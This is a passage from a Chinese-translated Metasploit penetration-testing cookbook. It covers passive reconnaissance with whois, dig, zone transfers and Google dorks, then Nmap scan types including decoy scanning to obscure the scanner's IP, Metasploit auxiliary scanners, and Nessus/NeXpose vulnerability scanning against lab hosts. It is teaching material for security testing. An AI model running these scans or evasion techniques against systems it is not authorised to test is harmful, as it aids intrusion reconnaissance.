Name Server: NS1.EASYDNS.COM
Name Server: NS2.EASYDNS.COM
Name Server: NS3.EASYDNS.ORG
Name Server: NS6.EASYDNS.NET
Name Server: REMOTE1.EASYDNS.COM
Name Server: REMOTE2.EASYDNS.COM
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 09-feb-2011
Creation Date: 09-may-2003
Expiration Date: 09-may-2016

在这里，我们可以看到简单的whois查找已经揭示了有关目标网站的一些信息。信息包括 DNS 服务器、创建日期、到期日期等。由于此信息是从目标以外的来源收集的，因此被称为被动信息收集技术。

被动获取信息的另一种方式可以通过查询 DNS 记录。最常见的技术是使用 Unix 机器中默认的dig命令。让我们分析一下对www.packtpub.com的dig查询。

 root@bt:~# dig www.packtpub.com
; <<>> DiG 9.7.0-P1 <<>> www.packtpub.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1583
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 6, ADDITIONAL: 1
;; QUESTION SECTION:
;www.packtpub.com. IN A
;; ANSWER SECTION:
www.packtpub.com. 1200 IN CNAME packtpub.com.
packtpub.com. 1200 IN A 83.166.169.228
;; AUTHORITY SECTION:
packtpub.com. 1200 IN NS remote1.easydns.com.
packtpub.com. 1200 IN NS ns2.easydns.com.
packtpub.com. 1200 IN NS ns6.easydns.net.
packtpub.com. 1200 IN NS ns3.easydns.org.
packtpub.com. 1200 IN NS ns1.easydns.com.
packtpub.com. 1200 IN NS remote2.easydns.com.
;; ADDITIONAL SECTION:
ns3.easydns.org. 5951 IN A 64.68.192.10

查询 DNS 记录已经揭示了有关目标的更多信息。dig可以用于将主机的名称解析为 IP 地址，反之亦然。此外，dig还可以用于从可能用于帮助利用主机的名称服务器中收集版本信息。正如我们在输出中所看到的，很难识别主 DNS，或者在某些情况下是主邮件服务器或文件托管服务器等。这就是Nslookup出现的地方。Nslookup几乎和 dig 一样灵活，但提供了一个更简单的默认方法来识别主机，例如邮件和 DNS 服务器。

 root@bt:~# nslookup www.packtpub.com
Server: 220.226.6.104
Address: 220.226.6.104#53
Non-authoritative answer:
www.packtpub.com canonical name = packtpub.com.
Name: packtpub.com
Address: 83.166.169.228

Nslookup已经揭示了有关目标的更多信息，例如其 IP 地址、服务器 IP 等。这些被动技术可以揭示有关目标的一些有趣信息，并可以为我们的渗透测试铺平道路。

工作原理...

dig可以用来查找SPF（发件人策略框架）记录。 SPF 记录是定义域的邮件发送策略的记录，即哪些服务器负责代表其发送邮件。不正确的 SPF 记录总会导致钓鱼/垃圾邮件。

SPF 记录以文本格式发布。 SPF 记录负责确保特定域的注册用户或特定域的合作伙伴不会受到钓鱼邮件的攻击。从dig查询中收集的信息可以帮助我们确定目标中的此类问题。

还有更多...

让我们更多地了解被动信息收集。

使用第三方网站

我们已经使用内置命令查询了有关我们目标的信息。还有一种同样好的技术，可以使用专门用于此类查找的网站，特别是提供有关地理位置、联系电话、管理员电子邮件等信息的网站。

一些有用的链接是：

who.is

www.kloth.net

被动信息收集 2.0-下一个级别

每个安全专业人员都知道前面一篇文章中讨论的信息收集技术。但是有一些技术分析人员因其较低的流行度和认知度而忽视，但它们可以产生与前一技术一样好的结果。我们将在这里讨论的技术涉及对我们目标的更深入分析，尽管我们仍将使用被动技术。这些技术不需要使用 Metasploit，但由于信息收集对于渗透测试是一个重要领域，因此我们将在这里讨论它。

准备工作

在这个配方中，我们将了解三种技术：

区域传输： 这可以使用终端执行。
SMTP 头部： 对于这种技术，我们需要目标发送给渗透测试人员的电子邮件。
Google dork： 这是一种简单但有用的通过搜索引擎获取信息的技术。

让我们从区域传输开始。

如何做到...

区域传输是 DNS 服务器用来在多个服务器之间交换域的权威记录的一种特殊方法。这种方法负责在主服务器和辅助服务器之间传输大量的域信息列表。配置错误的 DNS 服务器可以响应客户端查询并提供有关查询域的信息。

考虑以下示例，在该示例中，查询dig @ns1.example.com example.com axfr返回一个 IP 地址列表及其对应的主机名：

如何做到...

这个查询已经识别出十个主机名，其中有八个唯一的主机属于example.com。我们可以看到主机名足够描述性，可以清楚地了解正在运行的服务类型。

分析 SMTP 头部可能是收集有关目标信息的另一个潜在来源。它可以为我们提供有关邮件服务器、其 IP 地址、版本等信息。这种方法的唯一缺点是我们需要一封从目标位置发送的电子邮件来进行分析。以下截图显示了从目标发送的邮件头部的一部分。

如何做到...

对头部的仔细分析显示邮件服务器的 IP 地址是 83.166.169.248。邮件服务器使用 ESMTP 服务，用户使用 IMAP 服务。这些额外的信息在进一步探索目标时非常有用。

最后一种技术是使用Google dorks。这种方法只能在某些情况下起作用，但值得一试，因为你永远不知道它可能揭示的秘密信息。许多时候，Google 爬虫会到达存储在目标服务器上供内部使用的某些文件或文档，但由于互联网访问，爬虫会将文档索引到搜索结果中。在这种情况下，我们可以使用一些 Google 搜索技巧来寻找这样的文件。在搜索结果中site和filetype的组合可以揭示一些令人兴奋的东西。

例如，在 Google 中执行以下搜索查询：

www.target .com filetype:xls
www.target.com filetype:pdf
site:www.target.com filetype:db

同样，我们可以尝试几种不同的组合来从 Google 搜索中挖掘结果。

它是如何工作的...

dig查询基本上返回在 IP 或域所有者注册时提供的数据。区域传输信息特别提供给 DNS 服务器，以便建立正确的注册域的映射。dig查询可以帮助获取这些信息。SMTP 头部是电子邮件的原始数据主体。由于它是电子邮件的主要数据表示，它包含了关于发件人的大量信息。

Google dorks 只是 Google 爬虫索引的各种文件的搜索结果。一旦文件在 Google 搜索中被索引，就可以使用一些特定的搜索类型查看它。

还有更多...

与 dorks 一起玩耍

www.jhony.ihackstuff.com 是 Google dorks 的最全面指南，您可以在其中找到许多关于目标的隐藏信息的完整 dorks 列表。

端口扫描 - Nmap 方式

端口扫描是一种主动的信息收集技术，我们现在将直接开始处理我们的目标。端口扫描是一种有趣的信息收集过程。它涉及对目标机器的深入搜索。Nmap是安全专业人员最强大和首选的扫描器。Nmap的使用范围从初学者到高级水平不等。我们将详细分析各种扫描技术。

准备工作

从Metasploit启动nmap很容易。启动msf控制台，输入nmap以显示Nmap提供的扫描选项列表。

msf > nmap

如何做...

我们将分析四种不同类型的Nmap扫描，在渗透测试过程中非常有帮助。Nmap提供了许多不同的扫描模式来扫描目标机器。在这里，我们将重点关注四种扫描类型，即TCP 连接扫描、SYN 隐秘扫描、UDP 扫描和ACK 扫描。Nmap的不同扫描选项也可以组合在单个扫描中，以执行更高级和复杂的目标扫描。让我们继续并开始扫描过程。

TCP 连接[-sT]扫描是Nmap中最基本和默认的扫描类型。它遵循三次握手过程来检测目标机器上的开放端口。让我们在目标上执行这种扫描。

msf > nmap -sT -p1-10000 192.168.56.102 [*] exec: nmap -sT -p1-10000 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:03 IST Nmap scan report for 192.168.56.102 Host is up (0.0058s latency).
Not shown: 9997 closed ports
PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

正如我们所看到的，我们传递了-sT参数，表示我们要执行 TCP 连接扫描。-p参数显示我们要扫描的端口号范围。TCP 连接扫描基于三次握手过程，因此返回的扫描结果被认为是准确的。

SYN 扫描[-sS]被认为是一种隐秘的扫描技术，因为它从不在目标和扫描器之间形成完整的连接。因此，它也被称为半开放扫描。让我们分析一下对目标的 SYN 扫描。

msf > nmap -sS 192.168.56.102 [*] exec: nmap -sS 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:17 IST Nmap scan report for 192.168.56.102 Host is up (0.0019s latency).
Not shown: 997 closed ports
PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

-sS参数将指示Nmap在目标机器上执行 SYN 扫描。在大多数情况下，TCP 连接和 SYN 扫描的输出是相似的，但唯一的区别在于 SYN 扫描难以被防火墙和入侵检测系统（IDS）检测到。然而，现代防火墙也足够能够捕捉到 SYN 扫描。

UDP 扫描[-sU]是用于识别目标上开放 UDP 端口的扫描技术。将 0 字节的 UDP 数据包发送到目标机器，而收到 ICMP 端口不可达消息的接收者表明该端口已关闭，否则被视为打开。可以这样使用：

msf > nmap -sU -p9001 192.168.56.102

以下命令将检查 192.168.56.102 上的 UDP 端口是否打开。同样，我们可以通过修改-p操作符在完整的端口范围上执行 UDP 扫描。

ACK 扫描[-sA]是一种特殊的扫描类型，可以告诉防火墙过滤或未过滤哪些端口。它通过向远程端口发送 TCP ACK 帧来操作。如果没有响应，则被视为过滤端口。如果目标返回 RST 数据包（连接重置），则该端口被视为未过滤端口。

msf > nmap -sA 192.168.56.102 [*] exec: nmap -sA 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:19 IST Nmap scan report for 192.168.56.102 Host is up (0.0011s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE 9001/tcp unfiltered tor-orport
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

上述输出显示了对目标执行的 ACK 扫描的结果。输出显示目标上的所有端口都被过滤，除了端口号为 9001 的未过滤端口。这将帮助我们找出目标的弱点，因为攻击未过滤端口将更有可能成功利用目标。

工作原理...

一般来说，渗透测试人员不会过分强调扫描过程，但是良好的扫描可以提供许多有用的结果。由于这里收集的信息将构成渗透测试的基础，因此强烈建议对扫描类型有适当的了解。现在让我们深入了解我们刚学到的每种扫描技术。

TCP 连接扫描是最基本的扫描技术，它与测试端口建立完整的连接。它使用操作系统的网络功能来建立连接。扫描器向目标机器发送一个 SYN 数据包。如果端口打开，则返回一个 ACK 消息给扫描器。然后扫描器向目标发送一个 ACK 数据包，显示成功建立连接。这被称为三次握手过程。一旦打开连接，连接就会终止。这种技术有其好处，但易于被防火墙和 IDS 追踪。

SYN 扫描是另一种 TCP 扫描类型，但它从不与目标建立完整的连接。它不使用操作系统的网络功能，而是生成原始 IP 数据包并监视响应。如果端口打开，则目标将以 ACK 消息做出响应。然后扫描器发送 RST（重置连接）消息并结束连接。因此，它也被称为半开放扫描。这被认为是一种隐蔽扫描技术，因为它可以避免在一些配置错误的防火墙和 IDS 中引发警报。

UDP 扫描是一种无连接的扫描技术，因此没有通知被发送回扫描器，告知数据包是否已被目标接收。如果端口关闭，则会向扫描器发送 ICMP 端口不可达消息。如果没有收到消息，则报告端口为打开状态。由于防火墙可以阻止数据包，因此此方法可能返回错误结果，因此不会生成响应消息，扫描器将报告端口为打开状态。

ACK 扫描的唯一目的是识别被过滤和未被过滤的端口。这是一种独特而方便的扫描技术，可以帮助找到目标系统的弱点，因为未被过滤的端口可能是易受攻击的目标。但 ACK 扫描的一个主要缺点是，由于它从不与目标连接，因此无法识别打开的端口。ACK 扫描的输出将仅列出端口是被过滤还是未被过滤。将 ACK 扫描与其他扫描类型结合使用可以形成非常隐秘的扫描过程。

还有更多...

让我们更多地了解 nmap 扫描，并看看我们如何将不同的扫描类型组合在一起。

操作系统和版本检测

除了端口扫描外，Nmap还提供了一些高级选项。这些选项可以帮助我们获取有关目标的更多信息。其中最常用的选项之一是操作系统识别[-O]。这可以帮助我们识别目标机器上运行的操作系统。操作系统检测扫描输出如下所示：

msf > nmap -O 192.168.56.102 [*] exec: nmap -O 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:25 IST Nmap scan report for 192.168.56.102 Host is up (0.0014s latency). MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) Device type: general purpose
Running: Microsoft Windows XP|2003

正如我们所看到的，Nmap已成功检测到目标机器的操作系统。这可以简化我们根据目标操作系统找到合适的漏洞利用的任务。

另一个广泛使用的Nmap选项是版本检测[-sV]，用于目标上不同开放端口的版本检测。它可以与我们之前看到的任何扫描类型混合在一起，以提供有关目标开放端口上运行的服务版本的额外信息。

msf > nmap -sT -sV 192.168.56.102 [*] exec: nmap -sV 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:27 IST Nmap scan report for 192.168.56.102 Host is up (0.0011s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) Service Info: OS: Windows

正如我们所看到的，在我们的扫描输出中添加了一个名为“版本”的额外列，报告了目标机器上运行的不同服务的版本。

增加匿名性

以匿名方式执行扫描非常重要。如果您在不使用安全措施的情况下执行扫描，防火墙和 IDS 日志可能会显示您的 IP 地址。Nmap提供了一个名为欺骗[-D]的功能。

诱饵选项不能阻止您的 IP 地址被记录在防火墙和 IDS 的日志文件中，但它确实使扫描看起来很可怕。它在日志文件中添加其他种子，从而给人一种印象，即有几个其他攻击者同时扫描机器。因此，如果您添加了两个诱饵 IP 地址，那么日志文件将显示请求数据包是从三个不同的 IP 地址发送的，一个是您的 IP 地址，另外两个是您添加的虚假地址。

msf > nmap -sS 192.168.56.102 -D 192.134.24.34,192.144.56.21

以下扫描示例显示了诱饵参数的使用。在-D运算符之后的 IP 地址是虚假 IP 地址，它们也将出现在目标机器的网络日志文件中，以及原始 IP 地址。这个过程可以混淆网络管理员，并在他们的脑海中引起怀疑，认为所有三个 IP 地址都是虚假的或伪造的。但添加太多的诱饵地址可能会影响扫描结果，因此应该只使用有限数量的诱饵地址。

探索用于扫描的辅助模块

辅助模块是 Metasploit 的内置模块，可以帮助我们执行各种任务。它们与利用程序不同，因为它们在渗透测试者的机器上运行，也不提供任何 shell。Metasploit 框架中有超过 350 个不同的辅助模块，每个模块都有特定的任务。在这里，我们将讨论扫描器辅助模块。

准备工作

要使用任何辅助模块，我们将不得不按照三个简单的步骤，使我们的模块准备好启动。让我们通过这三个步骤。

激活模块：使用use命令设置特定模块处于活动状态并准备接受命令。
设置规格：使用set命令设置模块执行所需的各种参数。
运行模块：完成前两个步骤后，使用run命令最终执行模块并生成结果。

要查看 Metasploit 框架中可用的扫描模块，可以浏览以下位置：

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

要开始使用模块，我们将启动msfconsole会话。

如何做...

现在让我们实际实施这些步骤来运行端口扫描辅助模块。

首先，让我们搜索框架中可用的端口扫描模块。

msf > search portscan Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner auxiliary/scanner/portscan/tcp normal TCP Port Scanner auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner

我们可以看到可用的扫描仪列表。它包含我们在先前的示例中讨论过的一些基本扫描类型。让我们从一个简单的 SYN 扫描开始。

它是如何工作的...

现在我们将按照我们的三个步骤过程开始使用模块。让我们从第一步开始。

要激活模块，我们将执行以下命令：

msf > use auxiliary/scanner/portscan/syn msf auxiliary(syn) >

我们将发现提示已更改为我们要使用的模块。这表明模块现在处于活动状态。

现在让我们看看模块需要哪些参数。这将通过使用show options命令来完成：

msf auxiliary(syn) > show options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes number of hosts to scan per set INTERFACE no The name of the interface PORTS 1-10000 yes Ports to scan RHOSTS yes target address range or CIDR SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(syn) > show options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes number of hosts to scan per set INTERFACE no The name of the interface PORTS 1-10000 yes Ports to scan RHOSTS yes target address range or CIDR SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds

第一列列出了所有必需的参数。名为Required的列告诉我们哪些参数是必须传递的。对于所有标记为yes的参数，包含值是必要的。正如我们所看到的，所有列都包含默认值。RHOSTS包含我们要扫描的 IP 地址范围。因此，让我们使用我们的目标 IP 地址设置RHOSTS参数。

msf auxiliary(syn) > set RHOSTS 192.168.56.1 RHOSTS => 192.168.56.1

现在我们的模块已准备好对目标 IP 地址执行 SYN 扫描。使用set命令，我们也可以更改其他值。例如，如果我们想要更改端口号的范围，那么以下命令可以解决我们的问题：

msf auxiliary(syn) > set PORTS 1-500

最后，我们的最后一步将是执行模块以执行其相应的操作：

msf auxiliary(syn) > run

成功执行run命令后，模块将执行 SYN 扫描并生成结果。

还有更多...

让我们在下一节中了解线程的使用。

管理线程

设置和管理辅助模块中的线程数量可以大大提高辅助模块的性能。如果你需要扫描整个网络或一系列 IP 地址，增加线程数量将使扫描过程更快。

msf auxiliary(syn) > set THREADS 10

使用辅助模块进行目标服务扫描

现在让我们尝试对一系列 IP 地址或单个目标主机上运行的特定服务进行有针对性的扫描。有各种基于服务的扫描可用；VNC、FTP、SMB 等等。在我们寻找目标上特定类型的服务时，辅助模块可以非常方便。

准备工作

让我们找出哪些基于服务的扫描辅助模块对我们可用。我们可以通过以下路径导航：

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner
root@bt:/pentest/exploits/framework3/modules/auxiliary/scanner# ls
backdoor emc ip mysql pop3 sap ssh vnc db2 finger lotus netbios portscan sip telephony voice dcerpc ftp misc nfs postgres smb telnet vxworks dect http motorola ntp rogue smtp tftp x11 discovery imap mssql oracle rservices snmp upnp

正如我们所看到的，有许多服务扫描模块的选项，在渗透测试中非常有用。让我们快速地使用其中一些。

操作方法...

这些服务扫描模块的工作方式类似于使用任何其他模块。我们将遵循在上一个示例中学到的相同的三个步骤过程。

让我们来研究一下 NetBIOS 模块。扫描 NetBIOS 可以有助于识别 Windows 操作系统。这次我们将扫描一系列网络，以找出哪台机器正在运行 NetBIOS 服务。

msf > use auxiliary/scanner/netbios/nbname msf auxiliary(nbname) > show options Module options (auxiliary/scanner/netbios/nbname): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe CHOST no The local client address RHOSTS yes The target address range RPORT 137 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(nbname) > set RHOSTS 192.168.56.1/24 RHOSTS => 192.168.56.1/24 msf auxiliary(nbname) > set THREADS 10 THREADS => 10
msf > use auxiliary/scanner/netbios/nbname msf auxiliary(nbname) > show options Module options (auxiliary/scanner/netbios/nbname): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe CHOST no The local client address RHOSTS yes The target address range RPORT 137 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(nbname) > set RHOSTS 192.168.56.1/24 RHOSTS => 192.168.56.1/24 msf auxiliary(nbname) > set THREADS 10 THREADS => 10

RHOSTS现在设置为扫描整个 IP 地址范围，线程数量也设置为十。现在让我们运行这个模块并分析结果。

msf auxiliary(nbname) > run
[*] Sending NetBIOS status requests to 192.168.56.0->192.168.56.255 (256 hosts)
[*] 192.168.56.1 [DARKLORD-PC] OS:Windows Names:(DARKLORD-PC, WORKGROUP, __MSBROWSE__) Addresses:(192.168.56.1) Mac:08:00:27:00:a8:a3
[*] 192.168.56.103 [SP3] OS:Windows Names:(SP3, WORKGROUP) Addresses:(10.0.2.15, 192.168.56.103) Mac:08:00:27:4b:65:35
[*] 192.168.56.102 [ABHINAV-5C02603] OS:Windows Names:(ABHINAV-5C02603, WORKGROUP) Addresses:(10.0.2.15, 192.168.56.102) Mac:08:00:27:34:a8:87
[*] Scanned 256 of 256 hosts (100% complete)

扫描网络发现有三台机器正在运行 NetBIOS。扫描还报告了它们各自的 MAC 地址。

让我们进行另一个服务扫描。这次我们将尝试找出哪些机器正在运行 MySQL 数据库服务器。此外，我们还将尝试找出服务器的版本。

msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options Module options (auxiliary/scanner/mysql/mysql_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range RPORT 3306 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mysql_version) > set RHOSTS 192.168.56.1/24 RHOSTS => 192.168.56.1/24
msf auxiliary(mysql_version) > set THREADS 10 THREADS => 10
msf auxiliary(mysql_version) > run [*] 192.168.56.102:3306 is running MySQL, but responds with an error: \x04Host '192.168.56.101' is not allowed to connect to this MySQL server

扫描过程发现 IP 地址 192.168.56.102 正在运行 MySQL 服务器，但不幸的是，无法连接到服务器。这再次证明了辅助模块是多么简单和方便，它们也可以为我们提供大量有用的信息。

建议尝试所有可用的辅助扫描模块，因为它们可以帮助你更好地了解你的目标。

工作原理...

辅助模块是专门用于执行特定任务的特殊目的模块。有时你可能需要执行特定类型的扫描来发现服务。例如，MySQL 辅助扫描器通过对默认端口号（3306）进行 ping 来检测数据库的存在。它进一步检查默认登录是否在数据库上启用。你可以在/modules/auxiliary/scanner下分析脚本。你可以根据需要扩展代码，甚至重用脚本来构建自己特定的辅助扫描器。

使用 Nessus 进行漏洞扫描

到目前为止，我们已经学习了端口扫描的基础知识，并进行了 Nmap 的实际实现。端口扫描已经扩展到其他几种工具，进一步增强了扫描和信息收集的过程。在接下来的几个示例中，我们将涵盖那些扫描目标以发现可用服务和开放端口，然后尝试确定可能存在的特定服务或端口的漏洞类型的工具。让我们开始我们的漏洞扫描之旅。

Nessus 是最广泛使用的漏洞扫描器之一。它会扫描目标以发现一系列漏洞，并为其生成详细报告。Nessus 在渗透测试中非常有帮助。你可以使用 Nessus 的图形界面版本，也可以在 Metasploit 控制台中使用它。在本书中，我们将主要关注使用msfconsole与 Nessus 一起使用。

准备工作

要在msfconsole中开始使用 Nessus，我们需要加载 Nessus，然后连接到服务器开始我们的渗透测试。

首先，我们将连接我们的数据库与 Metasploit，以存储临时结果。在前一章中已经解释了在 Metasploit 中启动和连接数据库的过程。连接数据库后，我们的下一个任务是加载 Nessus 插件。

如何操作...

要连接数据库并在 Metasploit 中加载 Nessus，我们将执行以下命令：

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3
msf > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus

成功加载后，我们将需要将其与服务器连接。以下命令用于将其与服务器连接：

msf > nessus_connect root:toor@localhost ok
[*] Connecting to https://127.0.0.1:8834/ as root
[*] Authenticated

在上述命令中，ok是一个额外的参数，用于确保 Nessus 服务器在受信任的网络上运行。

我们可以使用nessus_user_list命令检查 Nessus 中可用用户的列表。

也可以使用nessus_user_add命令添加新用户。通过使用nessus_policy_list命令，我们可以查看服务器上可用策略的列表。

工作原理...

一旦 Nessus 与服务器连接，就可以用于扫描目标机器。扫描的过程简单而快速。让我们对目标进行快速扫描，看看 Nessus 扫描是如何操作的。要开始扫描，我们将需要传递以下命令：

msf > nessus_scan_new 1 testscan 192.168.56.102
[*] Creating scan from policy number 1, called "testscan" and scanning 192.168.56.102
[*] Scan started. uid is 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f

一旦扫描过程完成，我们的下一个目标将是导入 Nessus 生成的列表。让我们查看可用的列表：

msf > nessus_report_list
[+] Nessus Report List
ID Name Status
---- ------
9d337e9b-82c7-
89a1-a19-4ef154b82 testscan completed
f624de2444e6ad18a1f

ID 列代表我们扫描生成的报告。现在让我们导入这份报告。

msf > nessus_report_get 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18a1f
[*] importing 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18a1f

报告导入后，可以使用控制台命令操作，并进行分析，以找出目标中的弱点。要查看目标中的漏洞，执行以下命令：

msf> hosts -c address, vuls, os_name

还有更多...

让我们快速浏览一下在 GUI 模式下使用 Nessus 的快速指南。

在 Web 浏览器中使用 Nessus

Nessus 也可以从其 GUI 模式中使用，这也和控制台模式一样强大且易于使用。如果您是第一次使用 Nessus，则首先需要注册并从 Nessus 网站获取注册码。注册可以在以下链接完成：

www.nessus.org/register/

启动 Nessus 时，可能会提示以下错误消息：

Starting Nessus : . Missing plugins. Attempting a plugin update... Your installation is missing plugins. Please register and try again. To register, please visit http://www.nessus.org/register/

错误是因为 Nessus 尚未注册。为了注册，我们需要使用从 Nessus 收到的注册码。以下命令将帮助我们完成注册过程：

/opt/nessus/bin/nessus-fetch -register YOUR REGISTRATIN CODE
root@bt:~# /opt/nessus/bin/nessus-fetch --register E8A5-5367-982E-05CB-972A
Your activation code has been registered properly - thank you. Now fetching the newest plugin set from plugins.nessus.org... Your Nessus installation is now up-to-date. If auto_update is set to 'yes' in nessusd.conf, Nessus will update the plugins by itself.

现在启动浏览器并输入以下地址：

https://localhost:8834

如果您第一次在浏览器中启动 Nessus，加载可能需要一些时间。请耐心等待。

使用 NeXpose 进行扫描

在上一篇文章中，我们讨论了 Nessus 作为一个潜在的漏洞扫描器。在本篇文章中，我们将介绍另一个重要的漏洞扫描器 NeXpose。

NeXpose 是 Rapid7 的一款热门工具，用于执行漏洞扫描并将结果导入 Metasploit 数据库。NeXpose 的使用方式类似于我们在上一篇文章中学到的 Nessus，但让我们快速了解一下如何开始使用 NeXpose。我将把更深入地探索留作你的任务。

准备工作

从msf控制台启动 NeXpose，我们首先需要将数据库连接到 Metasploit，然后加载插件将其与 NeXpose 服务器连接，以启动目标扫描的过程。让我们在命令行中执行这些步骤。

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3
msf > load nexpose
msf > nexpose_connect darklord:toor@localhost ok
[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username darklord...

如何操作...

现在我们已经连接到我们的服务器，我们可以扫描我们的目标并生成报告。NeXpose 支持两种扫描命令。一个是nexpose_scan，另一个是nexpose_discover。前者将扫描一系列 IP 地址并导入结果，而后者将仅扫描以发现主机和运行在其上的服务。让我们使用 NeXpose 对我们的目标进行快速扫描。

msf > nexpose_discover 192.168.56.102
[*] Scanning 1 addresses with template aggressive-discovery in sets of 32
[*] Completed the scan of 1 addresses

它是如何工作的...

扫描完成后，我们可以使用msf控制台的默认数据库命令查看其结果。

让我们看看 NeXpose 产生了什么扫描结果：

msf > hosts -c address,os_name,os_flavor
Hosts
=====
address os_name os_flavor
------- ------- ---------
192.168.56.102 Microsoft Windows XP
msf >

还有更多...

信息收集完成后，最后一步是导入结果。让我们看看它是如何执行的。

导入扫描结果

如果您已经从msfconsole使用了 Nessus 和 NeXpose，您可以跳过此信息。

当您使用 Nessus 或 NeXpose 的 GUI 版本时，您将不得不手动将扫描结果导入数据库。我强调导入和存储结果的原因是，在我们的下一章中，我们将看到如何使用autopwn命令自动在我们的数据库中运行主机上的利用。因此，为了导入扫描结果，我们将使用db_import命令如下：db_import filename

msf > db_import nexposelist.xml
[*] Importing 'Nexpose XML (v2)' data
[*] Importing host 192.168.56.102
[*] Successfully imported /root/nexposelist.xml

与 Dradis 框架共享信息

在我们之前的教程中，我们学习了几种获取有关目标信息的技术。在执行渗透测试时，我们可能需要与其他渗透测试人员共享信息，他们可能位于其他物理位置。在这种情况下，使用 Dradis 框架可以更轻松地共享渗透测试信息。它是一个用于在安全评估期间共享信息的开源框架。它具有几个功能，使其成为一个出色的信息共享工具。其中一些是：

通过 SSL 进行通信
附件文件和笔记
从 Nessus、NeXpose 等导入扫描结果
可以扩展以连接外部系统，如漏洞数据库

虽然它不会帮助我们获取有关目标的任何信息，但对于所有安全专业人员来说，该工具在共享渗透测试结果和发现方面非常重要。

做好准备

要在 BackTrack 中启动 Dradis 框架，我们需要在终端执行以下命令：

root@bt:~# cd /pentest/misc/dradis
root@bt:/pentest/misc/dradis# ./start.sh

成功执行命令后，我们可以通过浏览器启动框架，通过以下地址传递：

https://127.0.0.1:3004

我们将被提示设置密码和框架帐户。

做好准备

如何做...

让我们开始我们的 Dradis 实验。该框架使我们能够为域和子域地址建立类似树状的结构。这使我们清晰地了解目标结构，并帮助我们以逻辑方式存储信息。它还提供了生成信息完整报告的功能。

如何做...

框架为我们提供了五个重要选项。它们是添加分支，从文件导入，导出，添加笔记和笔记类别。

一旦您使用您的凭据登录，您将看到一个类似于前面截图中显示的屏幕。您可以在框架的左上角找到五个选项。让我们看看这些选项为我们做了什么。

它是如何工作的...

让我们开始创建一个新报告。该过程很简单，从添加主机和子主机开始。

添加分支选项使我们能够添加新的 IP 或域名。一旦添加了顶级域，我们可以进一步添加其子域以包括子域。现在下一个任务是添加有关它们的信息。

添加笔记选项使我们能够添加我们从各种扫描结果中收集的信息。例如，我们可以添加来自 Nmap、Nessus 等的扫描结果。

注释类别选项帮助我们选择用于获取信息的媒介。各种选项包括 Brup 扫描、Nessus 扫描、NeXpose、Nmap 等。您可以选择您用于生成扫描结果的适当选项。

以下截图显示了针对 IP 地址范围 192.168.56.1/24 进行的 Nmap 扫描的信息。左侧的树形结构包含了有关可用目标的信息，右侧的列提供了有关其报告的信息。

工作原理...

接下来我们可以用 Dradis 框架做的事情是导入现有报告或导出创建的报告。

从文件导入选项为我们提供了灵活性，可以从不同的扫描仪中导入先前的扫描结果。这进一步增强了该框架的功能，因为不同的测试人员可以将结果导入框架并将它们组合成单个报告。

导出选项为专业渗透测试人员提供了一个选项，可以将各个域和子域的完整报告生成为单个文件。报告可以以 XML 或 HTML 格式导出。也可以以项目或自定义模板的形式导出。

第三章：基于操作系统的漏洞评估和利用

在本章中，我们将涵盖：

利用程序使用快速提示
对 Windows XP SP2 机器进行渗透测试
将 shell 绑定到目标以进行远程访问
对 Windows 2003 服务器进行渗透测试
Windows 7/Server 2008 R2 SMB 客户端无限循环
利用 Linux（Ubuntu）机器
理解 Windows DLL 注入漏洞

介绍

